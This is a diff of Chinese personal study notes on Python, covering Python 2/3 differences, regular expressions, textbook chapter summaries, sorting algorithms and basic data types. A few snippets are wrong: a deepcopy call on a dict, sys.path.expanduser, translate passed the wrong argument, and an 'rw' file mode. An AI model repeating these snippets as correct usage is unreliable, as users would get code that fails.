||||||
|
type(b)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
bytes
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### map、filter 和 reduce
|
||||||
|
|
||||||
|
```
|
||||||
|
# python2中他们都是内置函数,输出都是列表
|
||||||
|
>>> map
|
||||||
|
<built-in function map>
|
||||||
|
>>> filter
|
||||||
|
<built-in function filter>
|
||||||
|
>>> map(lambda x:x *2, [1,2,3])
|
||||||
|
[2, 4, 6]
|
||||||
|
>>> filter(lambda x:x %2 ==0,range(10))
|
||||||
|
[0, 2, 4, 6, 8]
|
||||||
|
>>>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# python3中他们变成了类,返回结果变成了可迭代对象
|
||||||
|
>>> map
|
||||||
|
<class 'map'>
|
||||||
|
>>> map(print,[1,2,3])
|
||||||
|
<map object at 0x10d8bd400>
|
||||||
|
>>> filter
|
||||||
|
<class 'filter'>
|
||||||
|
>>> filter(lambda x:x % 2 == 0, range(10))
|
||||||
|
<filter object at 0x10d8bd3c8>
|
||||||
|
>>> f =filter(lambda x:x %2 ==0, range(10))
|
||||||
|
>>> next(f)
|
||||||
|
0
|
||||||
|
>>> next(f)
|
||||||
|
2
|
||||||
|
>>> next(f)
|
||||||
|
4
|
||||||
|
>>> next(f)
|
||||||
|
6
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
注意:Python2中,next()函数 and .next()方法都能用,Python3中只有next()函数
|
||||||
|
|
||||||
|
### For循环变量和全局命名空间泄漏
|
||||||
|
|
||||||
|
```
|
||||||
|
# python2
|
||||||
|
i = 1
|
||||||
|
print 'before: i =', i
|
||||||
|
print 'comprehension: ', [i for i in range(5)]
|
||||||
|
print 'after: i =', i
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
before: i = 1
|
||||||
|
comprehension: [0, 1, 2, 3, 4]
|
||||||
|
after: i = 4
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# python3
|
||||||
|
i = 1
|
||||||
|
print('before: i =', i)
|
||||||
|
print('comprehension:', [i for i in range(5)])
|
||||||
|
print('after: i =', i)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
before: i = 1
|
||||||
|
comprehension: [0, 1, 2, 3, 4]
|
||||||
|
after: i = 1
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 返回可迭代对象,而不是列表
|
||||||
|
|
||||||
|
```
|
||||||
|
# python2
|
||||||
|
print range(3)
|
||||||
|
print type(range(3))
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[0, 1, 2]
|
||||||
|
<type 'list'>
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# python3
|
||||||
|
print(range(3))
|
||||||
|
print(type(range(3)))
|
||||||
|
print(list(range(3)))
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
range(0, 3)
|
||||||
|
<class 'range'>
|
||||||
|
[0, 1, 2]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Python 3 中一些经常使用到的不再返回列表的函数和方法:
|
||||||
|
|
||||||
|
```
|
||||||
|
zip()
|
||||||
|
map()
|
||||||
|
filter()
|
||||||
|
dictionary’s .keys() method
|
||||||
|
dictionary’s .values() method
|
||||||
|
dictionary’s .items() method
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 参考
|
|
@ -0,0 +1,38 @@
|
||||||
|
# 原创
|
||||||
|
: Python3核心编程之正则表达式
|
||||||
|
|
||||||
|
# Python3核心编程之正则表达式
|
||||||
|
|
||||||
|
### 元字符
|
||||||
|
|
||||||
|
### 择一匹配模式
|
||||||
|
|
||||||
|
择一匹配的管道符号(|),从多个模式中选择其一进行匹配
|
||||||
|
|
||||||
|
### 匹配任意单个字符
|
||||||
|
|
||||||
|
**点号或者句点(.)符号匹配除了换行符\n 以外的任何字符**(Python 正则表达式有一个编译标记[S 或者 DOTALL],该标记能够推翻这个限制,使点号能够匹配换行符)
|
||||||
|
|
||||||
|
### 从字符串起始或者结尾或者单词边界匹配
|
||||||
|
|
||||||
|
指定用于**搜索**的模式,匹配字符串的开始位置,就必须使用脱字符(^)或者特殊字符\A,美元符号($)或者\Z将用于匹配字符串的末尾位置
|
||||||
|
|
||||||
|
\b 将用于匹配一个单词的边界,\B 将匹配出现在一个单词中间的模式,即不是边界
|
||||||
|
|
||||||
|
### 创建字符集
|
||||||
|
|
||||||
|
方括号[ ],能够匹配一对方括号中包含的任何字符,相当于逻辑或
|
||||||
|
|
||||||
|
### 限定范围和否定
|
||||||
|
|
||||||
|
方括号中两个符号中间用连字符(-)连接,用于指定一个字符的范围
|
||||||
|
|
||||||
|
脱字符(^)紧跟在左方括号后面,这个符号就表示不匹配给定字符集中的任何一个字符。
|
||||||
|
|
||||||
|
### 使用闭包操作符实现存在性和频数匹配
|
||||||
|
|
||||||
|
### 表示字符集的特殊字符
|
||||||
|
|
||||||
|
### 使用圆括号指定分组
|
||||||
|
|
||||||
|
### 扩展表示法
|
|
@ -0,0 +1,24 @@
|
||||||
|
# 原创
|
||||||
|
: Python书单
|
||||||
|
|
||||||
|
# Python书单
|
||||||
|
|
||||||
|
# Python书单
|
||||||
|
|
||||||
|
## 笔记整理
|
||||||
|
|
||||||
|
## Python基础
|
||||||
|
|
||||||
|
## 面试/笔试
|
||||||
|
|
||||||
|
## Git
|
||||||
|
|
||||||
|
## GitBook
|
||||||
|
|
||||||
|
## C++参考书
|
||||||
|
|
||||||
|
### 数据库
|
||||||
|
|
||||||
|
### 图像处理
|
||||||
|
|
||||||
|
## 工具
|
|
@ -0,0 +1,252 @@
|
||||||
|
# 原创
|
||||||
|
: Python基础教程总结(上)
|
||||||
|
|
||||||
|
# Python基础教程总结(上)
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:[https://book.douban.com/subject/4866934/](https://book.douban.com/subject/4866934/) ,基于Python2.x.
|
||||||
|
|
||||||
|
|
||||||
|
## 第一章 基础知识
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/usr/bin/python2
|
||||||
|
# coding=utf-8
|
||||||
|
chmod 755 hello.py #给Python脚本添加可执行权限
|
||||||
|
math.floor(num) #将给定的数值转换为小于或等于它的最小整数
|
||||||
|
math.ceil(num) #将给定的数值转换为大于或等于它的最小整数
|
||||||
|
math.sqrt(num) #计算平方根
|
||||||
|
>>> foo=math.sqrt
|
||||||
|
>>> foo(3)
|
||||||
|
1.7320508075688772
|
||||||
|
cmath.sqrt(-3) #复数模块,Python本身支持复数计算
|
||||||
|
r'C:\path\where' #原始字符串,其最后一个字符不能是反斜杠
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> temp = 43
|
||||||
|
>>> print "The temperature is "+`temp`
|
||||||
|
The temperature is 43
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<th align="center">函数</th>|描述
|
||||||
|
|------
|
||||||
|
<td align="center">abs(num)</td>|返回数字的绝对值
|
||||||
|
<td align="center">cmath.sqrt(num)</td>|返回平方根,也可以用于复数
|
||||||
|
<td align="center">pow(x,y[,z])</td>|x^y所求结果对z取模
|
||||||
|
<td align="center">repr(object)</td>|返回值的字符串表示形式
|
||||||
|
<td align="center">round(num[, ndigits])</td>|根据给定的精度对数字进行四舍五入
|
||||||
|
|
||||||
|
## 第二章 列表和元祖
|
||||||
|
|
||||||
|
**6中内建序列:列表、元祖、字符串、Unicode字符串、buffer对象、xrange对象**
|
||||||
|
|
||||||
|
列表可以修改,元祖不能。
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> list("Python")
|
||||||
|
['P', 'y', 't', 'h', 'o', 'n']
|
||||||
|
# 不替换原有元素得情况下插入新元素
|
||||||
|
>>> num = [1,5]
|
||||||
|
>>> num[1:1]=[2,3,4]
|
||||||
|
>>> num
|
||||||
|
[1, 2, 3, 4, 5]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
sort()有两个可选参数
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> x = ['sss',"sww1w","sqwsqwd","sddd"]
|
||||||
|
>>> x.sort(key=len)
|
||||||
|
>>> x
|
||||||
|
['sss', 'sddd', 'sww1w', 'sqwsqwd']
|
||||||
|
>>> x = [4,5,2,4,231,24]
|
||||||
|
>>> x.sort(reverse=True) # 这里和seq.reverse()方法或reversed(seq)函数有区别
|
||||||
|
>>> x
|
||||||
|
[231, 24, 5, 4, 4, 2]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
注意只有一个元素的元组:`42,`必须要有一个逗号,元组中的`tupul()`函数相当于列表中的`list()`
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> tuple("Python")
|
||||||
|
('P', 'y', 't', 'h', 'o', 'n')
|
||||||
|
>>> list("Python")
|
||||||
|
['P', 'y', 't', 'h', 'o', 'n']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
cmp(x,y) # 比较x,y的大小,x>y返回1,x<y返回-1,x=y返回0
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 第三章 字符串
|
||||||
|
|
||||||
|
**字符串不可变**
|
||||||
|
|
||||||
|
```
|
||||||
|
# 个人感觉这种格式化字符串很好,一个字符串一个元组
|
||||||
|
>>> format = "hello, %s. %s enough for ya?"
|
||||||
|
>>> values = ('world','Hot')
|
||||||
|
>>> print format % values
|
||||||
|
hello, world. Hot enough for ya?
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
表3-1 字符串转换类型,P46
|
||||||
|
|
||||||
|
str.find(“strings”)查找字串并返回,如果找到返回字串的左端索引,没找到返回-1,find(“strings”,1,3),起始索引
|
||||||
|
|
||||||
|
sep.join(str):连接字符串列表并返回,sep是分割符字串,与split()相对,str.split(sep)
|
||||||
|
|
||||||
|
str.strip(),去掉字符串**两侧空格**字符串,str.strip(“ !*”)指定去掉两侧空格和!和*
|
||||||
|
|
||||||
|
str.lower()和str.upper(),大小写转换
|
||||||
|
|
||||||
|
str.replace(“aaa”,“bbb”),把字符串中的aaa全都替换为bbb
|
||||||
|
|
||||||
|
```
|
||||||
|
from string import maketrans
|
||||||
|
table = maketrans("cs","kj") # 将c、s分别替换为k、j
|
||||||
|
strs=" ddd dddwdd eed "
|
||||||
|
strs.translate(str)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
string.capwords(str[, sep]) 使用split()函数将字符串str分割(sep为分割符),使用capitalize()函数将分割得到的各单词首字母大写,并且使用join()函数以sep为分隔符连接各单词
|
||||||
|
|
||||||
|
## 第四章 字典–映射
|
||||||
|
|
||||||
|
>
|
||||||
|
字典无序,当索引不好用时用字典,字典的格式化字符串很常用P58
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
dic.clear() #清除字典中所有的项
|
||||||
|
dic.copy() #返回一个具有相同键值对的新字典----浅复制,不是副本 P60需要注意一下
|
||||||
|
from copy import deepcopy
|
||||||
|
dic.deepcopy() #这时不随原字典改变
|
||||||
|
>>> {}.fromkeys(["name","age"],可选默认值) #使用给定的键建立一个空字典
|
||||||
|
{'age': None, 'name': None}
|
||||||
|
dic.get("name") #访问键name,不存在返回None,否则返回键值
|
||||||
|
dic.has_key("name") #返回True或False
|
||||||
|
dic.items() #将字典所有项以列表的形式返回
|
||||||
|
|
||||||
|
dic.iteritems() #返回一个列表的迭代器
|
||||||
|
dic = {'age': None, 'name': None}
|
||||||
|
>>> for k,v in dic.iteritems():
|
||||||
|
... print k,v
|
||||||
|
...
|
||||||
|
age None
|
||||||
|
name None
|
||||||
|
|
||||||
|
dic.keys() # 以列表形式返回
|
||||||
|
dic.values()
|
||||||
|
dic.iterkeys() #返回键的迭代器
|
||||||
|
dic.itervalues() #返回值的迭代器
|
||||||
|
dic.pop("name") #删除并返回键值
|
||||||
|
dic.popitem() #弹出随机的项
|
||||||
|
|
||||||
|
# 不给定键的情况下设定键值
|
||||||
|
>>> dic={}
|
||||||
|
>>> dic.setdefault("name","N/A")
|
||||||
|
'N/A'
|
||||||
|
|
||||||
|
dic.update(x) #将字典dic更新到字典x
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 第五章 条件、循环和其他语句
|
||||||
|
|
||||||
|
假:`False 0 “” None () [] {}`,其他一切都是真
|
||||||
|
|
||||||
|
```
|
||||||
|
name = raw_input("Please enter your name: ") or "<unknown>"
|
||||||
|
就是说如果输入为空,则将name="<unknown>"
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> zip(range(5),xrange(8))
|
||||||
|
[(0, 0), (1, 1), (2, 2), (3, 3), (4, 4)]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
>>> [x*x for x in range(10) if x%3==0]
|
||||||
|
[0, 9, 36, 81]
|
||||||
|
>>> [(x,y) for x in range(3) for y in range(2)]
|
||||||
|
[(0, 0), (0, 1), (1, 0), (1, 1), (2, 0), (2, 1)]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 这里的scope就是起到放置字符串命名空间的字典
|
||||||
|
>>> from math import sqrt
|
||||||
|
>>> scope={}
|
||||||
|
>>> exec "sqrt = 1" in scope
|
||||||
|
>>> sqrt(4)
|
||||||
|
2.0
|
||||||
|
>>> scope["sqrt"]
|
||||||
|
1
|
||||||
|
|
||||||
|
# eval 用于求值,类似于exec的内建函数,eval会计算写在字符串中的Python表达式并返回值 P85
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
ord("a") #返回字符串a的值
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 第七章 抽象
|
||||||
|
|
||||||
|
>
|
||||||
|
**多态**可以让用户对于**不知道是什么类的对象**进行方法调用;而**封装**是可以**不用关心对象是如何构建的**而直接进行使用。
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
class Secretive:
|
||||||
|
def __inaccessible(self):
|
||||||
|
...
|
||||||
|
def accessible(self):
|
||||||
|
self.__inaccessible()
|
||||||
|
s = Secretive()
|
||||||
|
s.__inaccessible() # 会报错
|
||||||
|
s.accessible() #这样才是正常的,相当于调用
|
||||||
|
Secretive._Secretive__inaccessible
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
issubclass(SPAMFilter,Filter) # 判断一个类是否是另一个类的子类 返回True、False
|
||||||
|
SPAMFFilter.__base__ # 返回子类的基类
|
||||||
|
isinstance(s,Filter) #判断一个对象的实例是否是一个类的实例
|
||||||
|
s.__class__ # 返回对象s的类
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 第八章 异常
|
||||||
|
|
||||||
|
```
|
||||||
|
try raise [except else] finally
|
||||||
|
# 同一个try中except和finally不能同时使用
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 第九章 魔法方法、属性、迭代器
|
||||||
|
|
||||||
|
>
|
||||||
|
魔法方法一般指`__future__`这样的双下划线
|
||||||
|
|
||||||
|
|
||||||
|
`__init__`:构造方法
|
||||||
|
|
||||||
|
`__del__`:析构方法,在对象被垃圾回收之前调用,但调用的时间不可知,所以我们一般不用
|
|
@ -0,0 +1,67 @@
|
||||||
|
# 原创
|
||||||
|
: Python基础教程总结(下)
|
||||||
|
|
||||||
|
# Python基础教程总结(下)
|
||||||
|
|
||||||
|
# Python基础教程总结(下)
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:[https://book.douban.com/subject/4866934/](https://book.douban.com/subject/4866934/) ,基于Python2.x.
|
||||||
|
上一篇:[Python基础教程总结(上)](https://blog.csdn.net/ds19991999/article/details/83217617)
|
||||||
|
|
||||||
|
|
||||||
|
学东西快是我最大的优点和缺点,因为学的越快,忘的也越快,所以不得已才经常总结一些基本知识。。。
|
||||||
|
|
||||||
|
## 第十章 标准库
|
||||||
|
|
||||||
|
```
|
||||||
|
# sys.path里面存放供解释器查找模块的路径列表
|
||||||
|
import sys
|
||||||
|
sys.path.append("C:/python")
|
||||||
|
# Unix系统中必须使用完整路径,也可以用expanduser()
|
||||||
|
sys.path.expanduser("~/python")
|
||||||
|
if __name__=="__main__":
|
||||||
|
main()
|
||||||
|
pprint.pprint(sys.path) #更高级的打印函数
|
||||||
|
|
||||||
|
# 假设有一个copy模块,用dir查看所有特性(类、函数、变量)
|
||||||
|
[n for n in dir(copy) if not n.startswith("_")]
|
||||||
|
copy.__all__ #模块的共有接口,比喻from copy import*的时候导入的就是这个列表里的模块
|
||||||
|
|
||||||
|
help(copy.copy) #查看copy函数
|
||||||
|
print copy.copy.__doc__ #查看文档字符串
|
||||||
|
|
||||||
|
# 源码阅读,查找copy模块的路径
|
||||||
|
>>> print copy.__file__
|
||||||
|
D:\Soteware\Python\Python2\lib\copy.pyc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
>
|
||||||
|
一些常用的标准库见笔记:[Note](http://nbviewer.jupyter.org/github/ds19991999/Note/tree/dev/)
|
||||||
|
|
||||||
|
|
||||||
|
## 第十一章 文件和流
|
||||||
|
|
||||||
|
<th align="center">值</th>|描述
|
||||||
|
|------
|
||||||
|
<td align="center">`r`</td>|读模式
|
||||||
|
<td align="center">`w`</td>|写模式
|
||||||
|
<td align="center">`a`</td>|追加模式
|
||||||
|
<td align="center">`b`</td>|二进制模式(可添加到其他模式中使用)
|
||||||
|
<td align="center">`+`</td>|读/写模式(可添加到其他模式中使用)
|
||||||
|
|
||||||
|
```
|
||||||
|
f = open("PATH","w")
|
||||||
|
f.write("strings")
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# 文件会自动关闭
|
||||||
|
with open("PATH","rw"):
|
||||||
|
do_something
|
||||||
|
|
||||||
|
f.seek(size) #指定当前位置
|
||||||
|
f.tell() #返回当前位置
|
||||||
|
read(n)\read()\readline()\readlines()的区别
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,184 @@
|
||||||
|
# 原创
|
||||||
|
: Python排序算法
|
||||||
|
|
||||||
|
# Python排序算法
|
||||||
|
|
||||||
|
```
|
||||||
|
# coding:utf-8
|
||||||
|
# 整数排序
|
||||||
|
|
||||||
|
# 插入排序1
|
||||||
|
def insert_sort1(A):
|
||||||
|
length = len(A)
|
||||||
|
if length < 2:
|
||||||
|
return A
|
||||||
|
# 1---length-1
|
||||||
|
for i in range(1, length):
|
||||||
|
key = A[i]
|
||||||
|
j = i - 1
|
||||||
|
while j>= 0 and A[j] > key:
|
||||||
|
A[j+1] = A[j]
|
||||||
|
j -= 1
|
||||||
|
A[j+1] = key
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 插入排序2
|
||||||
|
def insert_sort2(A):
|
||||||
|
length = len(A)
|
||||||
|
# 0--length-1
|
||||||
|
for i in range(0, length):
|
||||||
|
for j in range(i+1, length):
|
||||||
|
if A[i] > A[j]:
|
||||||
|
tmp = A[j]
|
||||||
|
A.pop(j)
|
||||||
|
A.insert(i, tmp)
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 冒泡排序1
|
||||||
|
def bubble_sort1(A):
|
||||||
|
length = len(A)
|
||||||
|
while length>0:
|
||||||
|
# 0--length-2
|
||||||
|
for i in range(0, length-1):
|
||||||
|
if A[i]>A[i+1]:
|
||||||
|
A[i], A[i+1] = A[i+1], A[i]
|
||||||
|
length -= 1
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 冒泡排序2
|
||||||
|
def bubble_sort2(A):
|
||||||
|
length = len(A)
|
||||||
|
if length < 2:
|
||||||
|
return A
|
||||||
|
for i in range(0, length):
|
||||||
|
for j in range(0, length-i):
|
||||||
|
if j + 1 < length and A[j] > A[j+1]:
|
||||||
|
A[j], A[j+1] = A[j+1], A[j]
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 选择排序
|
||||||
|
def select_sort(A):
|
||||||
|
length = len(A)
|
||||||
|
for i in range(0, length):
|
||||||
|
x = A[i]
|
||||||
|
index = i
|
||||||
|
for j in range(i+1, length):
|
||||||
|
if x > A[j]:
|
||||||
|
x = A[j]
|
||||||
|
index = j
|
||||||
|
A[i], A[index] = A[index], A[i]
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 快速排序1
|
||||||
|
def quik_sort(A, left, right):
|
||||||
|
'''
|
||||||
|
快速排序
|
||||||
|
:param A:
|
||||||
|
:param left:
|
||||||
|
:param right:
|
||||||
|
:return:
|
||||||
|
'''
|
||||||
|
# 跳出递归判断
|
||||||
|
if left >= right:
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 选择参考点,该调整范围的第一个值
|
||||||
|
key = A[left]
|
||||||
|
low = left
|
||||||
|
hight = right
|
||||||
|
|
||||||
|
# 循环判断直到遍历全部
|
||||||
|
while left < right:
|
||||||
|
# 从右边开始查找小于参考点的值
|
||||||
|
while left < right and A[right]>=key:
|
||||||
|
right -= 1
|
||||||
|
# 这个位置的值先放在左边
|
||||||
|
A[left] = A[right]
|
||||||
|
|
||||||
|
# 从左边开始查找大于参考点的值
|
||||||
|
while left < right and A[left] <= key:
|
||||||
|
left +=1
|
||||||
|
# 这个位置的值放在右边
|
||||||
|
A[right] = A[left]
|
||||||
|
|
||||||
|
# 写回改成的值
|
||||||
|
A[left] = key
|
||||||
|
|
||||||
|
# 递归,并返回结果
|
||||||
|
quik_sort(A, low, left-1)
|
||||||
|
quik_sort(A, left+1, hight)
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 堆排序
|
||||||
|
def sift_down(arr, start, end):
|
||||||
|
root = start
|
||||||
|
while True:
|
||||||
|
# 从root开始对最大堆调整
|
||||||
|
child = 2 * root + 1
|
||||||
|
if child > end:
|
||||||
|
break
|
||||||
|
|
||||||
|
# 找出两个child中交大的一个
|
||||||
|
if child + 1 <= end and arr[child] < arr[child + 1]:
|
||||||
|
child += 1
|
||||||
|
|
||||||
|
if arr[root] < arr[child]:
|
||||||
|
# 最大堆小于较大的child, 交换顺序
|
||||||
|
arr[root], arr[child] = arr[child], arr[root]
|
||||||
|
|
||||||
|
# 正在调整的节点设置为root
|
||||||
|
root = child
|
||||||
|
else:
|
||||||
|
# 无需调整的时候, 退出
|
||||||
|
break
|
||||||
|
|
||||||
|
def heap_sort(A):
|
||||||
|
# 从最后一个有子节点的孩子还是调整最大堆
|
||||||
|
first = len(A) // 2 - 1
|
||||||
|
for start in range(first, -1, -1):
|
||||||
|
sift_down(A, start, len(A) - 1)
|
||||||
|
|
||||||
|
# 将最大的放到堆的最后一个, 堆-1, 继续调整排序
|
||||||
|
for end in range(len(A) -1, 0, -1):
|
||||||
|
A[0], A[end] = A[end], A[0]
|
||||||
|
sift_down(A, 0, end - 1)
|
||||||
|
return A
|
||||||
|
|
||||||
|
# 二路归并排序
|
||||||
|
def merge_sort(A):
|
||||||
|
if len(A) <= 1:
|
||||||
|
return A
|
||||||
|
num = len(A) / 2
|
||||||
|
left = merge_sort(A[:num])
|
||||||
|
right = merge_sort(A[num:])
|
||||||
|
return merge(left, right)
|
||||||
|
|
||||||
|
|
||||||
|
def merge(left, right):
|
||||||
|
r, l = 0, 0
|
||||||
|
result = []
|
||||||
|
while l < len(left) and r < len(right):
|
||||||
|
if left[l] < right[r]:
|
||||||
|
result.append(left[l])
|
||||||
|
l += 1
|
||||||
|
else:
|
||||||
|
result.append(right[r])
|
||||||
|
r += 1
|
||||||
|
result += right[r:]
|
||||||
|
result += left[l:]
|
||||||
|
return result
|
||||||
|
|
||||||
|
def main():
|
||||||
|
A = [9,10,8,3,4,6,1,2,0,5]
|
||||||
|
# print insert_sort1(A)
|
||||||
|
# print insert_sort2(A)
|
||||||
|
# print bubble_sort1(A)
|
||||||
|
# print bubble_sort2(A)
|
||||||
|
# print select_sort(A)
|
||||||
|
# print quik_sort(A, 0, len(A)-1)
|
||||||
|
# print heap_sort(A)
|
||||||
|
print merge_sort(A)
|
||||||
|
|
||||||
|
if __name__=='__main__':
|
||||||
|
main()
|
||||||
|
```
|
|
@ -0,0 +1,238 @@
|
||||||
|
# 原创
|
||||||
|
: Python数据结构(一)——Python数据类型
|
||||||
|
|
||||||
|
# Python数据结构(一)——Python数据类型
|
||||||
|
|
||||||
|
# 回顾Python数据类型
|
||||||
|
|
||||||
|
本系列需要用到的源码:[Python数据结构类封装](https://download.csdn.net/download/ds19991999/10571330)
|
||||||
|
|
||||||
|
>
|
||||||
|
Python支持面向对象的编程模式,这意味这Python在解决问题的过程中重点是数据.
|
||||||
|
|
||||||
|
|
||||||
|
## 基本类型
|
||||||
|
|
||||||
|
```
|
||||||
|
False or True
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
not (False or True)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
myList = [1,2,3,4]
|
||||||
|
A = [myList]*3
|
||||||
|
print(A)
|
||||||
|
myList[2]=45
|
||||||
|
print(A)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[[1, 2, 3, 4], [1, 2, 3, 4], [1, 2, 3, 4]]
|
||||||
|
[[1, 2, 45, 4], [1, 2, 45, 4], [1, 2, 45, 4]]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 与sort方法合用有效果
|
||||||
|
myList.sort()
|
||||||
|
myList
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[1, 2, 4, 45]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
myList.reverse()
|
||||||
|
print myList
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[45, 4, 2, 1]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
myName = 'dsdshahahads'
|
||||||
|
myName.split('s')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
['d', 'd', 'hahahad', '']
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
{3,6,"cat",4.5,False,6,6,6,6,6,6,6}
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
{False, 3, 4.5, 6, 'cat'}
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 输入与输出
|
||||||
|
|
||||||
|
```
|
||||||
|
aName = input("Please enter your name ")
|
||||||
|
print("Your name in all capitals is",aName.upper(),
|
||||||
|
"and has length", len(aName))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Please enter your name 'ds'
|
||||||
|
|
||||||
|
|
||||||
|
Your name in all capitals is 'DS' and has length 4
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# Python3支持,Python2不支持
|
||||||
|
print("Hello","World", sep = "***")
|
||||||
|
print("Hello","World", end = "***")
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Hello***World
|
||||||
|
Hello World***
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 控制结构
|
||||||
|
|
||||||
|
## 异常
|
||||||
|
|
||||||
|
```
|
||||||
|
import math
|
||||||
|
try:
|
||||||
|
anumber = int(input("Please enter an integer "))
|
||||||
|
print(math.sqrt(anumber))
|
||||||
|
except:
|
||||||
|
print("Bad Value for square root")
|
||||||
|
print("Using absolute value instead")
|
||||||
|
print(math.sqrt(abs(anumber)))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Please enter an integer -3
|
||||||
|
|
||||||
|
|
||||||
|
Bad Value for square root
|
||||||
|
Using absolute value instead
|
||||||
|
1.73205080757
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
import math
|
||||||
|
try:
|
||||||
|
anumber = int(input("Please enter an integer "))
|
||||||
|
print(math.sqrt(anumber))
|
||||||
|
except Exception as msg:
|
||||||
|
print msg
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Please enter an integer -33
|
||||||
|
|
||||||
|
|
||||||
|
math domain error
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 定义函数
|
||||||
|
|
||||||
|
```
|
||||||
|
def f(x):
|
||||||
|
x *= x
|
||||||
|
if not x < 100:
|
||||||
|
return x
|
||||||
|
else:
|
||||||
|
return f(x)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
f(5)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
625
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
f(f(3))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
43046721
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 类
|
||||||
|
|
||||||
|
```
|
||||||
|
def gcd(m,n):
|
||||||
|
"""取余的公约数求法"""
|
||||||
|
while m%n != 0:
|
||||||
|
m,n = n,m%n
|
||||||
|
return n
|
||||||
|
|
||||||
|
class Fraction:
|
||||||
|
def __init__(self,top,bottom):
|
||||||
|
self.num = top
|
||||||
|
self.den = bottom
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return str(self.num)+"/"+str(self.den)
|
||||||
|
|
||||||
|
def show(self):
|
||||||
|
print(self.num,"/",self.den)
|
||||||
|
|
||||||
|
def __add__(self,otherfraction):
|
||||||
|
newnum = self.num*otherfraction.den + \
|
||||||
|
self.den*otherfraction.num
|
||||||
